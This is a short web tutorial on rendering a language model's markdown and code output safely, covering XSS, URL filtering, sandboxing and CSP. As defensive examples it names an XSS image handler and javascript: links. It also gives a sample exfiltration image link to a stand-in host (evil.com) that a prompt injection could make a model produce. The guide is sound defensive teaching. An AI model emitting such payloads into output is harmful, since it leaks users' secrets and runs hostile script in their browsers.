Skip to content
ai engineering questions

AI Engineering · 8 of 12middle~1 min

How do you safely render markdown and code from a model's response?

#security#xss

Rendering model output safely

Model output is untrusted input. It can contain HTML, scripts or malicious links - either by accident or because a prompt injection told the model to produce them. Rendering it with dangerouslySetInnerHTML is an XSS hole.

Bad

tsx
// marked() output goes straight into the DOM - <img onerror=...> runs <div dangerouslySetInnerHTML={{ __html: marked(answer) }} />

Good - markdown to React elements, raw HTML off

tsx
import ReactMarkdown from 'react-markdown'; <ReactMarkdown skipHtml // ignore raw HTML in the markdown components={{ a: ({ href, children }) => ( <a href={safeUrl(href)} target="_blank" rel="noopener noreferrer nofollow">{children}</a> ), img: () => null, // or proxy / allowlist hosts }} > {answer} </ReactMarkdown>
ts
const safeUrl = (href = '') => (/^(https?:|mailto:)/i.test(href) ? href : '#');

If you must allow some HTML, sanitize with an allowlist (DOMPurify, rehype-sanitize) after converting.

Less obvious risks

  • Data exfiltration via images - an injected ![](https://evil.com/?q=<secret>) leaks data the moment the browser loads it. Block or proxy remote images.
  • javascript: links - filter URL schemes, not just tags.
  • Code blocks - highlight as text; never eval or auto-run generated code. Run it only in a sandbox (iframe with sandbox, a worker, a remote container).
  • Streaming - sanitize the rendered result, not each chunk; a tag split across chunks slips past chunk-level checks.

Defense in depth

A strict Content Security Policy (no inline scripts, limited img-src) catches what the renderer misses.

Rule: everything the model says is user input from a stranger. Render it the way you would render a comment on a public forum.

updated

did you know it?

related questions